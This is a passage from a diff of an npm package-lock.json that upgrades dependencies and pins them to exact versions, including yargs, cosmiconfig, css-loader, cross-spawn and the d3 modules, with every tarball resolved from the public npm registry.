"5.2.0", + "wrap-ansi": "5.1.0" } }, "find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "^2.0.0" + "locate-path": "3.0.0" + } + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "requires": { + "p-locate": "3.0.0", + "path-exists": "3.0.0" + } + }, + "p-limit": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.1.tgz", + "integrity": "sha512-85Tk+90UCVWvbDavCLKPOLC9vvY8OwEX/RtKF+/1OADJMVlFfEHOiMTPVyxg7mk/dKa+ipdHm0OUkTvCpMTuwg==", + "dev": true, + "requires": { + "p-try": "2.2.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "requires": { + "p-limit": "2.2.1" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true + }, + "require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "dev": true + }, + "string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "requires": { + "emoji-regex": "7.0.3", + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "5.2.0" } }, "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "4.1.0" } }, - "yargs": { - "version": "11.1.0", - "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", - "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", + "wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", "dev": true, "requires": { - "cliui": "^4.0.0", - "decamelize": "^1.1.1", - "find-up": "^2.1.0", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^9.0.2" + "ansi-styles": "3.2.1", + "string-width": "3.1.0", + "strip-ansi": "5.2.0" + } + }, + "y18n": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", + "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", + "dev": true + }, + "yargs": { + "version": "13.3.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.0.tgz", + "integrity": "sha512-2eehun/8ALW8TLoIl7MVaRUrg+yCnenu8B4kBlRxj3GJGDKU1Og7sMXPNm1BYyM1DOJmTZ4YeN/Nwxv+8XJsUA==", + "dev": true, + "requires": { + "cliui": "5.0.0", + "find-up": "3.0.0", + "get-caller-file": "2.0.5", + "require-directory": "2.1.1", + "require-main-filename": "2.0.0", + "set-blocking": "2.0.0", + "string-width": "3.1.0", + "which-module": "2.0.0", + "y18n": "4.0.0", + "yargs-parser": "13.1.1" } } } }, "core-js": { - "version": "2.5.7", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.7.tgz", - "integrity": "sha512-RszJCAxg/PP6uzXVXL6BsxSXx/B05oJAQ2vkJRjyjrEcNVycaqOmNb5OTxZPE3xa5gwZduqza6L9JOCenh/Ecw==" + "version": "2.6.10", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.10.tgz", + "integrity": "sha512-I39t74+4t+zau64EN1fE5v2W31Adtc/REhzWN+gWRRXg6WH5qAsZm62DHpQ1+Yhe4047T55jvzz7MUqF/dBBlA==" }, "core-util-is": { "version": "1.0.2", @@ -3398,37 +3572,85 @@ "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" }, "cosmiconfig": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.2.0.tgz", - "integrity": "sha512-nxt+Nfc3JAqf4WIWd0jXLjTJZmsPLrA9DDc4nRw2KFJQJK7DNooqSXrNI7tzLG50CF8axczly5UV929tBmh/7g==", + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz", + "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==", "requires": { - "import-fresh": "^2.0.0", - "is-directory": "^0.3.1", - "js-yaml": "^3.13.0", - "parse-json": "^4.0.0" + "@types/parse-json": "4.0.0", + "import-fresh": "3.2.1", + "parse-json": "5.0.0", + "path-type": "4.0.0", + "yaml": "1.7.2" }, "dependencies": { - "esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==" - }, - "js-yaml": { - "version": "3.13.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", - "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "@babel/code-frame": { + "version": "7.5.5", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.5.5.tgz", + "integrity": "sha512-27d4lZoomVyo51VegxI20xZPuSHusqbQag/ztrBC7wegWoQ1nLREPVSKSW8byhTlzTKyNE4ifaTA6lCp7JjpFw==", "requires": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" + "@babel/highlight": "7.5.0" } }, - "parse-json": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", - "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", + "@babel/highlight": { + "version": "7.5.0", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.5.0.tgz", + "integrity": "sha512-7dV4eu9gBxoM0dAnj/BCFDW9LFU0zvTrkq0ugM7pnHEgguOEeOz1so2ZghEdzviYzQEED0r4EAgpsBChKy1TRQ==", "requires": { - "error-ex": "^1.3.1", - "json-parse-better-errors": "^1.0.1" + "chalk": "2.4.2", + "esutils": "2.0.2", + "js-tokens": "4.0.0" + } + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "requires": { + "color-convert": "1.9.0" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "requires": { + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=" + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "parse-json": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.0.0.tgz", + "integrity": "sha512-OOY5b7PAEFV0E2Fir1KOkxchnZNCdowAJgQ5NuxjpBKTRP3pQhwkrkxqQjeoKJ+fO7bCpmIZaogI4eZGDMEGOw==", + "requires": { + "@babel/code-frame": "7.5.5", + "error-ex": "1.3.2", + "json-parse-better-errors": "1.0.2", + "lines-and-columns": "1.1.6" + } + }, + "path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==" + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "requires": { + "has-flag": "3.0.0" } } } @@ -3439,8 +3661,8 @@ "integrity": "sha512-GbEHQPMOswGpKXM9kCWVrremUcBmjteUaQ01T9rkKCPDXfUHX0IoP9LpHYo2NPFampa4e+/pFDc3jQdxrxQLaw==", "dev": true, "requires": { - "bn.js": "^4.1.0", - "elliptic": "^6.0.0" + "bn.js": "4.11.8", + "elliptic": "6.5.1" } }, "create-hash": { @@ -3449,11 +3671,11 @@ "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==", "dev": true, "requires": { - "cipher-base": "^1.0.1", - "inherits": "^2.0.1", - "md5.js": "^1.3.4", - "ripemd160": "^2.0.1", - "sha.js": "^2.4.0" + "cipher-base": "1.0.4", + "inherits": "2.0.3", + "md5.js": "1.3.5", + "ripemd160": "2.0.2", + "sha.js": "2.4.11" } }, "create-hmac": { @@ -3462,12 +3684,12 @@ "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==", "dev": true, "requires": { - "cipher-base": "^1.0.3", - "create-hash": "^1.1.0", - "inherits": "^2.0.1", - "ripemd160": "^2.0.0", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" + "cipher-base": "1.0.4", + "create-hash": "1.2.0", + "inherits": "2.0.3", + "ripemd160": "2.0.2", + "safe-buffer": "5.1.1", + "sha.js": "2.4.11" } }, "create-react-class": { @@ -3475,20 +3697,30 @@ "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.2.tgz", "integrity": "sha1-zx7RXxKq1/FO9fLf4F5sQvke8Co=", "requires": { - "fbjs": "^0.8.9", - "loose-envify": "^1.3.1", - "object-assign": "^4.1.1" + "fbjs": "0.8.17", + "loose-envify": "1.3.1", + "object-assign": "4.1.1" } }, "cross-spawn": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", - "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "nice-try": "1.0.5", + "path-key": "2.0.1", + "semver": "5.7.1", + "shebang-command": "1.2.0", + "which": "1.3.0" + }, + "dependencies": { + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true + } } }, "cryptiles": { @@ -3497,7 +3729,7 @@ "integrity": "sha1-qJ+7Ig9c4l7FboxKqKT9e1sNKf4=", "dev": true, "requires": { - "boom": "5.x.x" + "boom": "5.2.0" }, "dependencies": { "boom": { @@ -3506,7 +3738,7 @@ "integrity": "sha512-Z5BTk6ZRe4tXXQlkqftmsAUANpXmuwlsF5Oov8ThoMbQRzdGTA1ngYRW160GexgOgjsFOKJz0LYhoNi+2AMBUw==", "dev": true, "requires": { - "hoek": "4.x.x" + "hoek": "4.2.1" } } } @@ -3517,37 +3749,37 @@ "integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==", "dev": true, "requires": { - "browserify-cipher": "^1.0.0", - "browserify-sign": "^4.0.0", - "create-ecdh": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.0", - "diffie-hellman": "^5.0.0", - "inherits": "^2.0.1", - "pbkdf2": "^3.0.3", - "public-encrypt": "^4.0.0", - "randombytes": "^2.0.0", - "randomfill": "^1.0.3" + "browserify-cipher": "1.0.1", + "browserify-sign": "4.0.4", + "create-ecdh": "4.0.3", + "create-hash": "1.2.0", + "create-hmac": "1.1.7", + "diffie-hellman": "5.0.3", + "inherits": "2.0.3", + "pbkdf2": "3.0.17", + "public-encrypt": "4.0.3", + "randombytes": "2.1.0", + "randomfill": "1.0.4" } }, "css-loader": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-1.0.0.tgz", - "integrity": "sha512-tMXlTYf3mIMt3b0dDCOQFJiVvxbocJ5Ho577WiGPYPZcqVEO218L2iU22pDXzkTZCLDE+9AmGSUkWxeh/nZReA==", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-1.0.1.tgz", + "integrity": "sha512-+ZHAZm/yqvJ2kDtPne3uX0C+Vr3Zn5jFn2N4HywtS5ujwvsVkyg0VArEXpl3BgczDA8anieki1FIzhchX4yrDw==", "dev": true, "requires": { - "babel-code-frame": "^6.26.0", - "css-selector-tokenizer": "^0.7.0", - "icss-utils": "^2.1.0", - "loader-utils": "^1.0.2", - "lodash.camelcase": "^4.3.0", - "postcss": "^6.0.23", - "postcss-modules-extract-imports": "^1.2.0", - "postcss-modules-local-by-default": "^1.2.0", - "postcss-modules-scope": "^1.1.0", - "postcss-modules-values": "^1.3.0", - "postcss-value-parser": "^3.3.0", - "source-list-map": "^2.0.0" + "babel-code-frame": "6.26.0", + "css-selector-tokenizer": "0.7.1", + "icss-utils": "2.1.0", + "loader-utils": "1.2.3", + "lodash": "4.17.15", + "postcss": "6.0.23", + "postcss-modules-extract-imports": "1.2.1", + "postcss-modules-local-by-default": "1.2.0", + "postcss-modules-scope": "1.1.0", + "postcss-modules-values": "1.3.0", + "postcss-value-parser": "3.3.1", + "source-list-map": "2.0.1" }, "dependencies": { "babel-code-frame": { @@ -3556,21 +3788,42 @@ "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", "dev": true, "requires": { - "chalk": "^1.1.3", - "esutils": "^2.0.2", - "js-tokens": "^3.0.2" + "chalk": "1.1.3", + "esutils": "2.0.2", + "js-tokens": "3.0.2" + } + }, + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "dev": true + }, + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "dev": true, + "requires": { + "minimist": "1.2.0" } }, "loader-utils": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", - "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", + "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "5.2.2", + "emojis-list": "2.1.0", + "json5": "1.0.1" } + }, + "lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", + "dev": true } } }, @@ -3580,21 +3833,21 @@ "integrity": "sha1-KzoRBTnFNV8c2NMUYj6HCxIeyFg=", "dev": true, "requires": { - "boolbase": "~1.0.0", - "css-what": "2.1", + "boolbase": "1.0.0", + "css-what": "2.1.0", "domutils": "1.5.1", - "nth-check": "~1.0.1" + "nth-check": "1.0.1" } }, "css-selector-tokenizer": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.0.tgz", - "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=", + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.1.tgz", + "integrity": "sha512-xYL0AMZJ4gFzJQsHUKa5jiWWi2vH77WVNg7JYRyewwj6oPh4yb/y6Y9ZCw9dsj/9UauMhtuxR+ogQd//EdEVNA==", "dev": true, "requires": { - "cssesc": "^0.1.0", - "fastparse": "^1.1.1", - "regexpu-core": "^1.0.0" + "cssesc": "0.1.0", + "fastparse": "1.1.1", + "regexpu-core": "1.0.0" }, "dependencies": { "regexpu-core": { @@ -3603,9 +3856,9 @@ "integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=", "dev": true, "requires": { - "regenerate": "^1.2.1", - "regjsgen": "^0.2.0", - "regjsparser": "^0.1.4" + "regenerate": "1.3.2", + "regjsgen": "0.2.0", + "regjsparser": "0.1.5" } } } @@ -3623,16 +3876,16 @@ "dev": true }, "csstype": { - "version": "2.6.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.3.tgz", - "integrity": "sha512-rINUZXOkcBmoHWEyu7JdHu5JMzkGRoMX4ov9830WNgxf5UYxcBUO0QTKAqeJ5EZfSdlrcJYkC8WwfVW7JYi4yg==" + "version": "2.6.7", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.7.tgz", + "integrity": "sha512-9Mcn9sFbGBAdmimWb2gLVDtFJzeKtDGIr76TUqmjZrw9LFXBMSU70lcs+C0/7fyCd6iBDqmksUcCOUIkisPHsQ==" }, "currently-unhandled": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz", "integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=", "requires": { - "array-find-index": "^1.0.1" + "array-find-index": "1.0.2" } }, "custom-event": { @@ -3642,9 +3895,9 @@ "dev": true }, "cyclist": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-0.2.2.tgz", - "integrity": "sha1-GzN5LhHpFKL9bW7WRHRkRE5fpkA=", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-1.0.1.tgz", + "integrity": "sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk=", "dev": true }, "d": { @@ -3653,45 +3906,45 @@ "integrity": "sha1-dUu1v+VUUdpppYuU1F9MWwRi1Y8=", "dev": true, "requires": { - "es5-ext": "^0.10.9" + "es5-ext": "0.10.46" } }, "d3": { - "version": "5.11.0", - "resolved": "https://registry.npmjs.org/d3/-/d3-5.11.0.tgz", - "integrity": "sha512-LXgMVUAEAzQh6WfEEOa8tJX4RA64ZJ6twC3CJ+Xzid+fXWLTZkkglagXav/eOoQgzQi5rzV0xC4Sfspd6hFDHA==", + "version": "5.14.1", + "resolved": "https://registry.npmjs.org/d3/-/d3-5.14.1.tgz", + "integrity": "sha512-x5VpyP/IS8DP8zePZtcoXmILmM3+YeF4mbvhH6bHICQPPuPYgfcxuGsZZBTh8+e2w9L/5myX76IVxWcPdizNxg==", "requires": { - "d3-array": "1", - "d3-axis": "1", - "d3-brush": "1", - "d3-chord": "1", - "d3-collection": "1", - "d3-color": "1", - "d3-contour": "1", - "d3-dispatch": "1", - "d3-drag": "1", - "d3-dsv": "1", - "d3-ease": "1", - "d3-fetch": "1", - "d3-force": "1", - "d3-format": "1", - "d3-geo": "1", - "d3-hierarchy": "1", - "d3-interpolate": "1", - "d3-path": "1", - "d3-polygon": "1", - "d3-quadtree": "1", - "d3-random": "1", - "d3-scale": "2", - "d3-scale-chromatic": "1", - "d3-selection": "1", - "d3-shape": "1", - "d3-time": "1", - "d3-time-format": "2", - "d3-timer": "1", - "d3-transition": "1", - "d3-voronoi": "1", - "d3-zoom": "1" + "d3-array": "1.2.4", + "d3-axis": "1.0.12", + "d3-brush": "1.1.4", + "d3-chord": "1.0.6", + "d3-collection": "1.0.7", + "d3-color": "1.4.0", + "d3-contour": "1.3.2", + "d3-dispatch": "1.0.6", + "d3-drag": "1.2.5", + "d3-dsv": "1.2.0", + "d3-ease": "1.0.6", + "d3-fetch": "1.1.2", + "d3-force": "1.2.1", + "d3-format": "1.4.2", + "d3-geo": "1.11.9", + "d3-hierarchy": "1.1.9", + "d3-interpolate": "1.3.3", + "d3-path": "1.0.9", + "d3-polygon": "1.0.6", + "d3-quadtree": "1.0.7", + "d3-random": "1.1.2", + "d3-scale": "2.2.2", + "d3-scale-chromatic": "1.5.0", + "d3-selection": "1.4.1", + "d3-shape": "1.3.7", + "d3-time": "1.1.0", + "d3-time-format": "2.2.2", + "d3-timer": "1.0.10", + "d3-transition": "1.3.2", + "d3-voronoi": "1.1.4", + "d3-zoom": "1.8.3" } }, "d3-array": { @@ -3705,15 +3958,15 @@ "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==" }, "d3-brush": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.3.tgz", - "integrity": "sha512-v8bbYyCFKjyCzFk/tdWqXwDykY8YWqhXYjcYxfILIit085VZOpj4XJKOMccTsvWxgzSLMJQg5SiqHjslsipEDg==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.4.tgz", + "integrity": "sha512-DRcFXGcVZiJF644i78m/HM8P0U19hWYRFcAnacOVGvpOpzkqGm3H0EAoAH6jwyY/lqfH49d+5vz2TgznP/zlMA==", "requires": { - "d3-dispatch": "1", - "d3-drag": "1", - "d3-interpolate": "1", - "d3-selection": "1", - "d3-transition": "1" + "d3-dispatch": "1.0.6", + "d3-drag": "1.2.5", + "d3-interpolate": "1.3.3", + "d3-selection": "1.4.1", + "d3-transition": "1.3.2" } }, "d3-chord": { @@ -3721,8 +3974,8 @@ "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz", "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==", "requires": { - "d3-array": "1", - "d3-path": "1" + "d3-array": "1.2.4", + "d3-path": "1.0.9" } }, "d3-collection": { @@ -3731,53 +3984,53 @@ "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==" }, "d3-color": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.3.0.tgz", - "integrity": "sha512-NHODMBlj59xPAwl2BDiO2Mog6V+PrGRtBfWKqKRrs9MCqlSkIEb0Z/SfY7jW29ReHTDC/j+vwXhnZcXI3+3fbg==" + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.4.0.tgz", + "integrity": "sha512-TzNPeJy2+iEepfiL92LAAB7fvnp/dV2YwANPVHdDWmYMm23qIJBYww3qT8I8C1wXrmrg4UWs7BKc2tKIgyjzHg==" }, "d3-contour": { "version": "1.3.2", "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz", "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==", "requires": { - "d3-array": "^1.1.1" + "d3-array": "1.2.4" } }, "d3-dispatch": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.5.tgz", - "integrity": "sha512-vwKx+lAqB1UuCeklr6Jh1bvC4SZgbSqbkGBLClItFBIYH4vqDJCA7qfoy14lXmJdnBOdxndAMxjCbImJYW7e6g==" + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.6.tgz", + "integrity": "sha512-fVjoElzjhCEy+Hbn8KygnmMS7Or0a9sI2UzGwoB7cCtvI1XpVN9GpoYlnb3xt2YV66oXYb1fLJ8GMvP4hdU1RA==" }, "d3-drag": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.4.tgz", - "integrity": "sha512-ICPurDETFAelF1CTHdIyiUM4PsyZLaM+7oIBhmyP+cuVjze5vDZ8V//LdOFjg0jGnFIZD/Sfmk0r95PSiu78rw==", + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.5.tgz", + "integrity": "sha512-rD1ohlkKQwMZYkQlYVCrSFxsWPzI97+W+PaEIBNTMxRuxz9RF0Hi5nJWHGVJ3Om9d2fRTe1yOBINJyy/ahV95w==", "requires": { - "d3-dispatch": "1", - "d3-selection": "1" + "d3-dispatch": "1.0.6", + "d3-selection": "1.4.1" } }, "d3-dsv": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.1.1.tgz", - "integrity": "sha512-1EH1oRGSkeDUlDRbhsFytAXU6cAmXFzc52YUe6MRlPClmWb85MP1J5x+YJRzya4ynZWnbELdSAvATFW/MbxaXw==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.2.0.tgz", + "integrity": 